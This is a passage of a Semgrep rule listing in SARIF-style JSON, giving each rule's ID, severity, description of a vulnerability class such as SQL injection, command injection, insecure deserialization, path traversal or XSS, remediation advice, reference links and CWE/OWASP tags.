deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","id":"python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","name":"python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block."},"help":{"markdown":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#default_action](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#default_action)\n - [https://docs.microsoft.com/en-us/azure/firewall/rule-processing](https://docs.microsoft.com/en-us/azure/firewall/rule-processing)\n","text":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","id":"terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","name":"terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","id":"java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","name":"java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","id":"terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","name":"terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A specially crafted calldata may be used to impersonate other accounts"},"help":{"markdown":"A specially crafted calldata may be used to impersonate other accounts\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.superfluid-ctx-injection.superfluid-ctx-injection)\n - [https://rekt.news/superfluid-rekt/](https://rekt.news/superfluid-rekt/)\n - [https://medium.com/superfluid-blog/08-02-22-exploit-post-mortem-15ff9c97cdd](https://medium.com/superfluid-blog/08-02-22-exploit-post-mortem-15ff9c97cdd)\n - [https://polygonscan.com/address/0x07711bb6dfbc99a1df1f2d7f57545a67519941e7](https://polygonscan.com/address/0x07711bb6dfbc99a1df1f2d7f57545a67519941e7)\n","text":"A specially crafted calldata may be used to impersonate other accounts"},"helpUri":"https://semgrep.dev/r/solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","id":"solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","name":"solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.superfluid-ctx-injection.superfluid-ctx-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used."},"help":{"markdown":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification)\n - [https://nodejs.org/api/https.html#https_https_request_options_callback](https://nodejs.org/api/https.html#https_https_request_options_callback)\n - [https://stackoverflow.com/questions/20433287/node-js-request-cert-has-expired#answer-29397100](https://stackoverflow.com/questions/20433287/node-js-request-cert-has-expired#answer-29397100)\n","text":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","id":"javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","name":"javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","id":"python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","name":"python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead."},"help":{"markdown":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1)\n - [https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html](https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html)\n - [https://shattered.io/](https://shattered.io/)\n","text":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","id":"ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","name":"ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"help":{"markdown":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none)\n - [https://flask-login.readthedocs.io/en/latest/#session-protection](https://flask-login.readthedocs.io/en/latest/#session-protection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","id":"python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","name":"python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"help":{"markdown":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.subprocess-injection.subprocess-injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.subprocess-injection.subprocess-injection","id":"python.flask.security.injection.subprocess-injection.subprocess-injection","name":"python.flask.security.injection.subprocess-injection.subprocess-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.subprocess-injection.subprocess-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-dsa.cryptography-dsa)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-dsa.cryptography-dsa","id":"python.cryptography.cryptography-dsa.cryptography-dsa","name":"python.cryptography.cryptography-dsa.cryptography-dsa","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-dsa.cryptography-dsa"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","id":"python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","name":"python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","id":"python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","name":"python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","id":"csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","name":"csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","HIGH CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","id":"typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","name":"typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.system-command.command-injection-path.command-injection-path)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command 